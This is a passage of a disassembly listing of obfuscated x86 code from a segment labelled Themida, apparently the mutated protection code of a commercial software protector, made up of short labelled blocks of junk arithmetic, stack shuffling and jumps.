; ---------------------------------------------------------------------------


loc_567D84:				; CODE XREF: Themida_:005699B0j
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_563244
		push	dword ptr [edi+28h]
		jmp	loc_56F360
; ---------------------------------------------------------------------------


loc_567D97:				; CODE XREF: Themida_:0056286Ej
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_571CB2
; ---------------------------------------------------------------------------


loc_567DB2:				; CODE XREF: Themida_:0056816Cj
		add	edx, 4
		add	edx, 4
		jmp	loc_56F71A
; ---------------------------------------------------------------------------


loc_567DC3:				; CODE XREF: Themida_:00566803j
		shr	ecx, 0Bh
		push	1315h
		mov	[esp], ebx
		push	58C9h
		jmp	loc_566960
; ---------------------------------------------------------------------------


loc_567DD8:				; CODE XREF: Themida_:0056DCA6j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	eax, esi
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_56641E
; ---------------------------------------------------------------------------


loc_567DEE:				; CODE XREF: Themida_:0056D72Aj
		pop	esp
		push	ecx
		push	ebx
		mov	ebx, 0A2E2283h
		jmp	loc_56D7CE
; ---------------------------------------------------------------------------


loc_567DFB:				; CODE XREF: Themida_:00565057j
		sub	esi, 57ED4C86h
		add	esi, 20D0699Bh
		add	esi, edx
		jmp	loc_567963
; ---------------------------------------------------------------------------


loc_567E0E:				; CODE XREF: Themida_:0056F726j
		mov	edx, [esp]
		jmp	loc_55F95E
; ---------------------------------------------------------------------------


loc_567E16:				; CODE XREF: Themida_:00569641j
		mov	esi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	[edi+1Ch], esi
		mov	esi, [esp]
		jmp	loc_55DB63
; ---------------------------------------------------------------------------


loc_567E2A:				; CODE XREF: Themida_:00571C79j
		sub	edx, 0FBE6F13Fh
		add	ebp, edx
		mov	edx, [esp]
		jmp	loc_56812D
; ---------------------------------------------------------------------------


loc_567E3A:				; CODE XREF: Themida_:00566E8Cj
		sub	eax, edx
		pop	edx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	bh, 4Bh
		xor	bh, ah
		xor	ah, bh
		xor	bh, ah
		jmp	loc_56B569
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	6C3h
		mov	[esp], ebx
		push	esp
		jmp	loc_55FA08
; ---------------------------------------------------------------------------


loc_567E6A:				; CODE XREF: Themida_:0056D213j
		pop	ebx
		shl	di, 6
		shl	di, 7
		neg	di
		or	di, 57BBh
		jmp	loc_562C9D
; ---------------------------------------------------------------------------


loc_567E80:				; CODE XREF: Themida_:005700D9j
		add	edi, esi
		sub	edi, 163F487Bh
		pop	esi
		add	eax, 40AE67BFh
		jmp	loc_56FE33
; ---------------------------------------------------------------------------


loc_567E93:				; CODE XREF: Themida_:0056BD2Cj
		or	edx, 68AF50FDh
		sub	edx, 0E9AF7EFBh
		add	ebx, edx
		pop	edx
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_56F898
; ---------------------------------------------------------------------------


loc_567EB0:				; CODE XREF: Themida_:0055E67Aj
		pop	ebx
		push	6521h
		mov	[esp], edi
		push	dword ptr [esp]
		jmp	loc_56FC45
; ---------------------------------------------------------------------------


loc_567EC1:				; CODE XREF: Themida_:0056F570j
		mov	ebx, 51D96B6Eh
		or	ebx, 329D5299h
		jmp	loc_568439
; ---------------------------------------------------------------------------


loc_567ED1:				; CODE XREF: Themida_:005698B9j
		mov	ah, 78h
		jmp	loc_56697D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_55EFB1
; ---------------------------------------------------------------------------


loc_567EF0:				; CODE XREF: Themida_:00570FCFj
		mov	[esp], edi
		jmp	loc_567464
; ---------------------------------------------------------------------------


loc_567EF8:				; CODE XREF: Themida_:00560B53j
		add	eax, 6F3512B4h
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		add	al, bl
		add	al, 26h
		push	ebx
		jmp	loc_5601E4
; ---------------------------------------------------------------------------


loc_567F1A:				; CODE XREF: Themida_:00568622j
		mov	ah, bh
		mov	ebx, [esp]
		jmp	loc_56C398
; ---------------------------------------------------------------------------


loc_567F24:				; CODE XREF: Themida_:00568DCDj
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		jmp	loc_56D18F
; ---------------------------------------------------------------------------


loc_567F33:				; CODE XREF: Themida_:005646D9j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_567F38:				; CODE XREF: Themida_:0056A380j
		add	esp, 4


loc_567F3E:				; CODE XREF: Themida_:0056710Ej
					; Themida_:005677C5j
		push	dword ptr [esp]
		pop	ebx
		push	7363h
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	ebp
		jmp	loc_567282
; ---------------------------------------------------------------------------


loc_567F52:				; CODE XREF: Themida_:0056AFC8j
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 3B8E40EEh
		xor	ecx, esi
		jmp	loc_571239
; ---------------------------------------------------------------------------


loc_567F64:				; CODE XREF: Themida_:0056B603j
		add	edx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		push	276Bh
		mov	[esp], ebx
		mov	ebx, 76604A08h
		mov	ebp, 76604A0Ch
		xor	ebp, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		jmp	loc_56712E
; ---------------------------------------------------------------------------


loc_567F96:				; CODE XREF: Themida_:00570E05j
		pop	esp
		push	4709h
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		push	6598h
		mov	[esp], ecx
		jmp	loc_56A224
; ---------------------------------------------------------------------------


loc_567FBA:				; CODE XREF: Themida_:005656AFj
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5721DE
; ---------------------------------------------------------------------------


loc_567FC8:				; CODE XREF: Themida_:0056D8A9j
		mov	eax, 6F7D20BBh
		xchg	eax, esi
		jmp	loc_56AAB2
; ---------------------------------------------------------------------------


loc_567FD3:				; CODE XREF: Themida_:00562DA6j
		mov	[esp], ebx
		mov	bh, al
		mov	dl, bh
		pop	ebx
		pop	eax
		sub	dl, cl
		pop	ecx
		jmp	loc_568834
; ---------------------------------------------------------------------------


loc_567FE4:				; CODE XREF: Themida_:005650CDj
		mov	[esp], eax
		push	7F4C13C4h
		jmp	loc_5659D9
; ---------------------------------------------------------------------------


loc_567FF1:				; CODE XREF: Themida_:0056B3A5j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_56F5F9
; ---------------------------------------------------------------------------


loc_568009:				; CODE XREF: Themida_:00569945j
		pop	edx
		push	ebx
		mov	ebx, 77B93961h
		and	ebp, ebx
		pop	ebx
		shr	ebp, 4
		push	7D9Ch
		jmp	loc_56A0A6
; ---------------------------------------------------------------------------


loc_568020:				; CODE XREF: Themida_:0055E07Fj
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_56B78D
; ---------------------------------------------------------------------------


loc_56802B:				; CODE XREF: Themida_:0056F132j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	eax
		mov	eax, 54761DE8h
		mov	ebp, eax
		jmp	loc_56C68D
; ---------------------------------------------------------------------------


loc_568044:				; CODE XREF: Themida_:00570FFFj
		mov	edi, 4DDC27D6h
		xor	edi, 1E4447BEh
		sub	edi, 50C837B9h
		add	ebx, edi
		pop	edi
		sub	ebx, 5357AFA8h
		mov	eax, ebx
		pop	ebx
		add	ebx, eax
		pop	eax
		add	ebx, 2F495D43h
		sub	ebx, eax
		sub	ebx, 2F495D43h
		push	esi
		jmp	loc_56D177
; ---------------------------------------------------------------------------


loc_568078:				; CODE XREF: Themida_:00571C1Bj
		add	edi, ebp
		pop	ebp
		push	esi
		mov	esi, esp
		jmp	loc_5686D7
; ---------------------------------------------------------------------------


loc_568083:				; CODE XREF: Themida_:0056FF94j
		push	249Ah
		mov	[esp], ebp
		push	7DF0h
		mov	[esp], eax
		push	ecx
		jmp	loc_561423
; ---------------------------------------------------------------------------


loc_568099:				; CODE XREF: Themida_:0057298Dj
		pop	esp
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	ebx, 7C303981h
		jmp	loc_568D17
; ---------------------------------------------------------------------------


loc_5680AB:				; CODE XREF: Themida_:0056AC9Cj
		mov	edx, 56381D2Eh
		jmp	loc_56E080
; ---------------------------------------------------------------------------


loc_5680B5:				; CODE XREF: Themida_:00561B79j
		sub	edi, 1C447D36h
		add	edi, eax
		add	edi, 1C447D36h
		pop	eax
		sub	edi, 0C2851A1h
		shl	edi, 4
		xor	edi, 0F26B6F16h
		jmp	loc_5713F4
; ---------------------------------------------------------------------------


loc_5680D8:				; CODE XREF: Themida_:0056AC35j
		mov	edi, 68634023h
		jmp	loc_56CD19
; ---------------------------------------------------------------------------


loc_5680E2:				; CODE XREF: Themida_:0055FBF6j
		pop	ecx
		inc	edi
		shl	edi, 6
		not	edi
		xor	edi, 0C026A9BBh
		add	edx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	edx
		jmp	loc_5663F4
; ---------------------------------------------------------------------------


loc_568100:				; CODE XREF: Themida_:00570481j
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		rep movsd
		jmp	loc_56CEB1
; ---------------------------------------------------------------------------


loc_568118:				; CODE XREF: Themida_:005721D9j
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55E8B6
; ---------------------------------------------------------------------------


loc_568125:				; CODE XREF: Themida_:005721BDj
		push	dword ptr [esp]
		jmp	loc_565DBA
; ---------------------------------------------------------------------------


loc_56812D:				; CODE XREF: Themida_:00567E35j
		add	esp, 4
		add	ecx, 0D75690Dh
		add	ecx, ebp
		sub	ecx, 0D75690Dh
		pop	ebp
		jmp	loc_56008B
; ---------------------------------------------------------------------------


loc_568144:				; CODE XREF: Themida_:00561274j
		mov	[esp], edi
		push	38A1h
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_567DB2
; ---------------------------------------------------------------------------


loc_568171:				; CODE XREF: Themida_:0055E91Cj
		pop	esp
		jmp	loc_560D1C
; ---------------------------------------------------------------------------


loc_568177:				; CODE XREF: Themida_:0056EB03j
		pop	esp
		xor	eax, edi
		mov	edi, [esp]
		jmp	loc_56A75D
; ---------------------------------------------------------------------------


loc_568182:				; CODE XREF: Themida_:0056715Bj
		add	esp, 4
		sub	edx, ebp
		add	edx, 2E02255Fh
		pop	ebp
		jmp	loc_569845
; ---------------------------------------------------------------------------


loc_568193:				; CODE XREF: Themida_:0056D1B9j
		push	ecx
		push	edi
		jmp	loc_56277E
; ---------------------------------------------------------------------------


loc_56819A:				; CODE XREF: Themida_:0056B68Fj
		push	eax
		mov	eax, 37C2099Bh
		inc	eax
		add	eax, 75F219F8h
		or	eax, 38206EA3h
		add	eax, 57ACD0A9h
		add	esi, eax
		pop	eax
		sub	esi, 84BCF808h
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	52E4h
		mov	[esp], edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_56B20A
; ---------------------------------------------------------------------------


loc_5681E9:				; CODE XREF: Themida_:0056957Dj
		inc	ebx
		add	ebx, 0CDF745FCh
		mov	ebp, ebx
		pop	ebx
		add	eax, 566212A6h
		jmp	loc_572518
; ---------------------------------------------------------------------------


loc_5681FD:				; CODE XREF: Themida_:00565953j
		and	ecx, 2E325181h
		push	eax
		mov	eax, 7F422469h
		xor	ecx, eax
		pop	eax
		xor	edi, ecx
		mov	ecx, [esp]
		jmp	loc_568C2F
; ---------------------------------------------------------------------------


loc_568216:				; CODE XREF: Themida_:005719F7j
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		btr	[esp], ax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_568228:				; CODE XREF: Themida_:00561CE3j
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_56ED2F
; ---------------------------------------------------------------------------


loc_568238:				; CODE XREF: Themida_:0056BD66j
		mov	bx, 39AEh
		add	ax, 2510h
		jmp	loc_55F828
; ---------------------------------------------------------------------------


loc_568245:				; CODE XREF: Themida_:0056C4B4j
		neg	edi
		add	edi, 0B4B922BFh
		add	edx, edi
		pop	edi
		dec	edx
		add	edx, 98ACA4FFh
		sub	eax, edx
		jmp	loc_55FC07
; ---------------------------------------------------------------------------


loc_56825E:				; CODE XREF: Themida_:00569471j
		push	ecx
		push	ebx
		jmp	loc_560A1E
; ---------------------------------------------------------------------------


loc_568265:				; CODE XREF: Themida_:0056B259j
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_5695BB
; ---------------------------------------------------------------------------


loc_568270:				; CODE XREF: Themida_:00568557j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_568B6C
; ---------------------------------------------------------------------------


loc_568280:				; CODE XREF: Themida_:0055E8BEj
		pop	edi
		jmp	loc_57225C
; ---------------------------------------------------------------------------


loc_568286:				; CODE XREF: Themida_:0056E3BDj
		pop	ecx
		jmp	loc_55F9B2
; ---------------------------------------------------------------------------


loc_56828C:				; CODE XREF: Themida_:0056C1C7j
		mov	edx, 3A1B4DCBh
		jmp	loc_5634DC
; ---------------------------------------------------------------------------


loc_568296:				; CODE XREF: Themida_:0056AF13j
		sub	ah, 1
		push	bx
		mov	bl, 79h
		xor	ah, bl
		pop	bx
		sub	bl, ah
		pop	eax
		sub	al, bl
		pop	ebx
		sub	bl, 10h
		jmp	loc_56E523
; ---------------------------------------------------------------------------


loc_5682AF:				; CODE XREF: Themida_:00566809j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5713FE
; ---------------------------------------------------------------------------


loc_5682BF:				; CODE XREF: Themida_:0056F4E0j
		sub	esi, 8743F59Dh
		jmp	loc_56B3F9
; ---------------------------------------------------------------------------


loc_5682CA:				; CODE XREF: Themida_:0056CBA8j
		add	ebx, 4BD45F00h
		inc	ebx
		jmp	loc_5663D5
; ---------------------------------------------------------------------------


loc_5682D6:				; CODE XREF: Themida_:0056FF06j
		push	edx
		jmp	loc_56E4DF
; ---------------------------------------------------------------------------


loc_5682DC:				; CODE XREF: Themida_:005614CCj
		and	eax, ecx
		jmp	loc_55F8F4
; ---------------------------------------------------------------------------


loc_5682E3:				; CODE XREF: Themida_:00565CDEj
		xchg	eax, [esp]
		pop	esp
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_55FC6A
; ---------------------------------------------------------------------------


loc_5682F2:				; CODE XREF: Themida_:00562196j
		add	ebx, 4
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		jmp	loc_5679C6
; ---------------------------------------------------------------------------


loc_568312:				; CODE XREF: Themida_:00565F70j
		or	dl, 24h
		or	dl, 5Bh
		push	eax
		jmp	loc_569483
; ---------------------------------------------------------------------------


loc_56831E:				; CODE XREF: Themida_:0055F760j
		push	edi
		mov	edi, 0B22A4538h
		add	eax, edi
		jmp	loc_569ABF
; ---------------------------------------------------------------------------


loc_56832B:				; CODE XREF: Themida_:00570A06j
		push	edx
		mov	edx, 35AE43FCh
		not	edx
		neg	edx
		jmp	loc_56AC84
; ---------------------------------------------------------------------------


loc_56833A:				; CODE XREF: Themida_:00572681j
		push	edi
		mov	edi, 45F722DEh
		jmp	loc_56F6FF
; ---------------------------------------------------------------------------


loc_568345:				; CODE XREF: Themida_:00560F8Ej
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		pop	eax
		push	edx
		mov	edx, 4
		add	eax, edx
		jmp	loc_56E872
; ---------------------------------------------------------------------------


loc_568365:				; CODE XREF: Themida_:00567023j
		dec	esi
		sub	esi, 6B73D2A3h
		mov	edi, esi
		pop	esi
		jmp	loc_562E2F
; ---------------------------------------------------------------------------


loc_568374:				; CODE XREF: Themida_:005603FDj
		mov	eax, edi
		pop	edi
		sub	eax, 47F372AEh
		push	ebp
		mov	ebp, eax
		push	edx
		mov	edx, esp
		jmp	loc_560360
; ---------------------------------------------------------------------------


loc_568387:				; CODE XREF: Themida_:0056FAC3j
		pop	esp
		push	ebx
		jmp	loc_5693B1
; ---------------------------------------------------------------------------


loc_56838E:				; CODE XREF: Themida_:00560970j
		add	esp, 4
		sub	eax, ebx
		push	edi
		jmp	loc_563170
; ---------------------------------------------------------------------------


loc_56839C:				; CODE XREF: Themida_:0056E7DCj
		sub	dword ptr [esp+4], 6EFC4D4Eh
		add	[esp+4], ebp
		add	dword ptr [esp+4], 6EFC4D4Eh
		push	edx
		mov	edx, 3F3B000Dh
		add	dword ptr [esp+8], 74F6252Fh
		sub	[esp+8], edx
		sub	dword ptr [esp+8], 74F6252Fh
		jmp	loc_56E39A
; ---------------------------------------------------------------------------


loc_5683CF:				; CODE XREF: Themida_:00564E33j
		dec	ecx
		jmp	loc_5641EC
; ---------------------------------------------------------------------------


loc_5683D5:				; CODE XREF: Themida_:005697CAj
		push	edi
		mov	edi, 634F21D1h
		sub	edi, 21B93731h
		neg	edi
		jmp	loc_5725D2
; ---------------------------------------------------------------------------


loc_5683E8:				; CODE XREF: Themida_:005609FAj
		sub	eax, 742E8ECEh
		sub	ebp, eax
		pop	eax
		mov	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ecx, 4D731727h
		sub	ecx, edi
		jmp	loc_56355F
; ---------------------------------------------------------------------------


loc_568408:				; CODE XREF: Themida_:0056FC1Aj
		xor	ecx, 26D0DD7Ah
		sub	edi, ecx
		jmp	loc_570430
; ---------------------------------------------------------------------------


loc_568415:				; CODE XREF: Themida_:0056008Dj
		push	edi
		mov	edi, 222B2030h
		shl	edi, 6
		xor	edi, 0C8FA7E4Ah
		or	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55DF26
; ---------------------------------------------------------------------------


loc_568431:				; CODE XREF: Themida_:005669A8j
		shr	ebx, 5
		jmp	loc_56E60C
; ---------------------------------------------------------------------------


loc_568439:				; CODE XREF: Themida_:00567ECCj
		sub	ebx, 0A7DFC4Dh
		add	edx, ebx
		mov	ebx, [esp]
		jmp	loc_56DE36
; ---------------------------------------------------------------------------


loc_568449:				; CODE XREF: Themida_:00566234j
		shr	dh, 1
		jmp	loc_561B2A
; ---------------------------------------------------------------------------


loc_568450:				; CODE XREF: Themida_:005606C4j
		shl	edi, 8
		add	edi, 0E7413F3Fh
		inc	edi
		or	edi, 5A640820h
		shl	edi, 4
		shr	edi, 7
		shr	edi, 2
		jmp	loc_56EAEB
; ---------------------------------------------------------------------------


loc_56846E:				; CODE XREF: Themida_:00564BE6j
		mov	[esp], ebx
		mov	ebx, 76E7600Ah
		mov	eax, 38564DAEh
		jmp	loc_564AB7
; ---------------------------------------------------------------------------


loc_568480:				; CODE XREF: Themida_:0056B636j
		mov	[esp], esi
		push	edx
		mov	edx, 4C6D1171h
		sub	edx, 545455DEh
		jmp	loc_560326
; ---------------------------------------------------------------------------


loc_568494:				; CODE XREF: Themida_:0056C784j
		add	esp, 4
		add	esi, 2
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	dx, [esp]
		push	edx
		push	62C7h
		push	esp
		pop	dword ptr [esp]
		push	edi
		jmp	loc_567AA3
; ---------------------------------------------------------------------------


loc_5684B8:				; CODE XREF: Themida_:00563980j
		sub	esp, 4
		mov	[esp], ecx
		xchg	edx, [esp]
		xchg	esi, edx
		jmp	loc_5712C0
; ---------------------------------------------------------------------------


loc_5684C8:				; CODE XREF: Themida_:0056F352j
		pop	edx
		push	ebx
		push	ebp
		push	35A63AFAh
		mov	ebp, [esp]
		add	esp, 4
		not	ebp
		xor	ebp, 0A80A8F22h
		push	ebp
		pop	ebx
		pop	ebp
		dec	ebx
		not	ebx
		add	ebx, 288F2BC9h
		inc	ebx
		add	ebx, 39C41E61h
		jmp	loc_566BD7
; ---------------------------------------------------------------------------


loc_5684F6:				; CODE XREF: Themida_:005635A0j
		mov	esi, 26FA7B72h
		add	esi, 58AEBB8Dh
		and	eax, esi
		pop	esi
		sub	eax, 43218114h
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	[edx+38h], ebx
		pop	ebx
		jmp	loc_56C637
; ---------------------------------------------------------------------------


loc_56851D:				; CODE XREF: Themida_:005652CCj
		mov	ebx, eax
		mov	eax, [esp]
		jmp	loc_571B70
; ---------------------------------------------------------------------------


loc_568527:				; CODE XREF: Themida_:005624A7j
		shr	ecx, 7
		xor	ecx, 37A33B2Ah
		jmp	loc_55ED33
; ---------------------------------------------------------------------------


loc_568535:				; CODE XREF: Themida_:00569284j
		pop	ecx
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	eax, eax
		jz	loc_562A84
		push	4053h
		mov	[esp], ebx
		push	7D7Bh
		jmp	loc_568270
; ---------------------------------------------------------------------------


loc_56855C:				; CODE XREF: Themida_:0055DCFDj
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		idiv	ecx
		jmp	loc_564EE6
; ---------------------------------------------------------------------------


loc_568572:				; CODE XREF: Themida_:0056BC7Dj
		pop	ebx
		jmp	loc_56CF5A
; ---------------------------------------------------------------------------


loc_568578:				; CODE XREF: Themida_:005714E2j
		add	dword ptr [esp], 2A7567F1h
		jmp	loc_56CAB5
; ---------------------------------------------------------------------------


loc_568584:				; CODE XREF: Themida_:0055F85Cj
		add	ebp, 0B6D7066h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_570A9D
; ---------------------------------------------------------------------------


loc_568598:				; CODE XREF: Themida_:0056BC6Dj
		mov	bh, ah
		mov	ah, dl
		pop	edx
		push	edx
		mov	dh, 90h
		inc	dh
		shl	dh, 4
		xor	dh, 8Ah
		xor	ah, dh
		pop	edx
		add	bl, 44h
		sub	bl, ah
		sub	bl, 44h
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	al, 4Dh
		neg	al
		push	dx
		mov	dh, 0Ch
		sub	al, 0F8h
		sub	al, dh
		add	al, 0F8h
		pop	dx
		shr	al, 4
		shr	al, 1
		sub	al, 67h
		xor	al, 2Dh
		sub	bl, al
		pop	eax
		sub	bl, al
		add	bl, 0B3h
		push	dx
		mov	dl, 0BEh
		add	bl, dl
		jmp	loc_56597E
; ---------------------------------------------------------------------------


loc_5685E9:				; CODE XREF: Themida_:005709E7j
		mov	dh, 29h
		mov	ch, dh
		pop	edx
		add	al, ch
		pop	ecx
		sub	al, 5
		add	al, bh
		push	edx
		jmp	loc_57263F
; ---------------------------------------------------------------------------


loc_5685FB:				; CODE XREF: Themida_:00570DC4j
		add	bl, 25h
		pop	dx
		add	bl, 0EAh
		jmp	loc_55E121
; ---------------------------------------------------------------------------


loc_568608:				; CODE XREF: Themida_:00564528j
		pop	ebp
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		push	1
		mov	esi, [esp]
		jmp	loc_56038A
; ---------------------------------------------------------------------------


loc_568620:				; CODE XREF: Themida_:0056FED6j
		mov	bh, 9Eh
		jmp	loc_567F1A
; ---------------------------------------------------------------------------


loc_568627:				; CODE XREF: Themida_:005657CEj
		pop	eax
		pop	eax
		dec	esi
		push	5B77h
		mov	[esp], ebx
		mov	ebx, 7F0A653Ch
		add	ebx, 0F0822EF1h
		xor	esi, ebx
		jmp	loc_569874
; ---------------------------------------------------------------------------


loc_568644:				; CODE XREF: Themida_:0055E66Fj
		mov	edi, 4
		sub	ecx, edi
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_569E7A
; ---------------------------------------------------------------------------


loc_56865E:				; CODE XREF: Themida_:0056ADEDj
		sub	esp, 4
		mov	[esp], ebp
		push	32106D54h
		pop	ebp
		neg	ebp
		jmp	loc_56AF4F
; ---------------------------------------------------------------------------


loc_568674:				; CODE XREF: Themida_:00569EDCj
		add	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_561601
; ---------------------------------------------------------------------------


loc_56867F:				; CODE XREF: Themida_:0056FD0Aj
		push	40000h
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		push	ebx
		push	4
		jmp	loc_55D8D3
; ---------------------------------------------------------------------------


loc_56869B:				; CODE XREF: Themida_:0056DE31j
		xor	ebx, 0C4E2BAFBh
		jmp	loc_560D46
; ---------------------------------------------------------------------------


loc_5686A6:				; CODE XREF: Themida_:005729BDj
		sub	ebx, ebp
		pop	ebp
		sub	ebx, 55363B7Dh
		pop	edi
		pop	edi
		pop	ebp
		jmp	loc_569273
; ---------------------------------------------------------------------------


loc_5686B7:				; CODE XREF: Themida_:0056FEA3j
		or	ecx, 18F82B79h
		xor	ecx, 339B4FB8h
		jmp	loc_57288E
; ---------------------------------------------------------------------------


loc_5686C8:				; CODE XREF: Themida_:00562BBFj
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		jmp	loc_56F8C6
; ---------------------------------------------------------------------------


loc_5686D7:				; CODE XREF: Themida_:0056807Ej
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_55F4E9
; ---------------------------------------------------------------------------


loc_5686EE:				; CODE XREF: Themida_:0056ABB5j
		sub	ebp, 25E3323Ah
		jmp	loc_57048E
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_56EF3F
; ---------------------------------------------------------------------------


loc_56870C:				; CODE XREF: Themida_:005621FFj
		sub	eax, edi
		add	eax, 502508F6h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 27C251A1h
		shl	ebx, 2
		add	ebx, 1
		xor	ebx, 22EB4C2Ch
		neg	ebx
		shl	ebx, 1
		jmp	loc_568EAC
; ---------------------------------------------------------------------------


loc_568746:				; CODE XREF: Themida_:0056F893j
		add	esp, 2
		jmp	loc_56891B
; ---------------------------------------------------------------------------


loc_568751:				; CODE XREF: Themida_:0056EBE8j
		pop	esi
		inc	esi
		sub	esi, 56D8525Ch
		shr	esi, 3
		push	ebx
		jmp	loc_55FACF
; ---------------------------------------------------------------------------


loc_568762:				; CODE XREF: Themida_:005631D8j
		push	ecx
		mov	ecx, 55707A8Dh
		or	edi, ecx
		jmp	loc_567CA4
; ---------------------------------------------------------------------------


loc_56876F:				; CODE XREF: Themida_:0056E129j
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_564EF5
; ---------------------------------------------------------------------------


loc_568782:				; CODE XREF: Themida_:0055E5FDj
		push	edx
		mov	edx, 4
		sub	ecx, edx
		jmp	loc_561C13
; ---------------------------------------------------------------------------


loc_56878F:				; CODE XREF: Themida_:00562634j
		mov	edi, 4
		sub	ebx, edi
		jmp	loc_5643F2
; ---------------------------------------------------------------------------


loc_56879B:				; CODE XREF: Themida_:0056AD59j
		add	eax, 6A25578Ah
		sub	eax, 35240C34h
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, ebx
		push	esi
		push	eax
		mov	eax, 72ED1B95h
		or	eax, 320A7590h
		add	eax, 0FFFFFFFFh
		or	eax, 762B1852h
		dec	eax
		not	eax
		add	eax, 0B1C1E6DDh
		mov	esi, eax
		pop	eax
		sub	esi, 52235E64h
		or	esi, 2C248FAh
		shl	esi, 2
		add	esi, 6BF138D3h
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		mov	edi, 8E95ACDh
		mov	ebp, 620D933Dh
		sub	ebp, edi
		pop	edi
		add	eax, ebp
		jmp	loc_55FDFC
; ---------------------------------------------------------------------------


loc_5687FE:				; CODE XREF: Themida_:0055D5D9j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	eax, ecx
		pop	ecx
		push	ebp
		push	eax
		mov	eax, 6613B46h
		mov	ebp, eax
		pop	eax
		push	ecx
		jmp	loc_55E602
; ---------------------------------------------------------------------------


loc_568821:				; CODE XREF: Themida_:0056E058j
		push	esp
		pop	eax
		push	ebp
		push	4
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56A30F
; ---------------------------------------------------------------------------


loc_568834:				; CODE XREF: Themida_:00567FDFj
		add	dl, 8Ah
		and	bl, dl
		pop	edx
		push	edx
		mov	dh, 0E3h
		xor	bl, dh
		jmp	loc_562CB5
; ---------------------------------------------------------------------------


loc_568844:				; CODE XREF: Themida_:0056313Fj
		add	ebx, 1091AB4h
		push	ecx
		mov	ecx, 57453CDBh
		sub	ebx, ecx
		jmp	loc_56FD86
